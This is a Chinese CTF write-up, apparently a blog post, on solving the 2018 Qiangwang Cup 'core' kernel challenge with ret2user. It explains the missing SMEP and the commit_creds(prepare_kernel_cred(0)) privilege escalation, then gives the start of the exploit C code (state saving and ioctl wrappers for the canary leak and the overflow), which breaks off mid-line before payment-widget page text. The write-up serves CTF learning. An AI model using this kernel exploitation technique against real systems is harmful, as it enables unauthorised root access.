强网杯 2018 core ret2user做法

关于题目的具体分析移步
强网杯 2018 core ROP做法

这里就只介绍ret2user这种做法,不再对题目进行具体分析。

这个题没有smep,所以可以直接在内核态执行用户态的代码,所以我们可以自己写一个执行commit_creds(prepare_kernel_cred(0))的函数,然后修改返回地址到那个函数,之后再进入用户态执行system(/bin/sh\x00)来起shell,省去了找gadget编写rop的过程

exp:

#include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>

size_t user_cs, user_ss, user_rflags, user_sp;

//intel 保存用户态
void save_status(){
   
        __asm__("mov user_cs,cs;"
                "mov user_ss,ss;"
                "mov user_sp,rsp;"
                "pushf;"
                "pop user_rflags;"
               );
        puts("[*] saved !");
}

//leak canary
void core_read(int fd, char *user_buf){
   
        ioctl(fd, 0x6677889B, user_buf);
}

//set off
void set_off(int fd, long long len){
   
        ioctl(fd, 0x6677889C, len);
}

//stack overflow
void core_copy_func(int fd, long long len){
   
        ioctl(
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值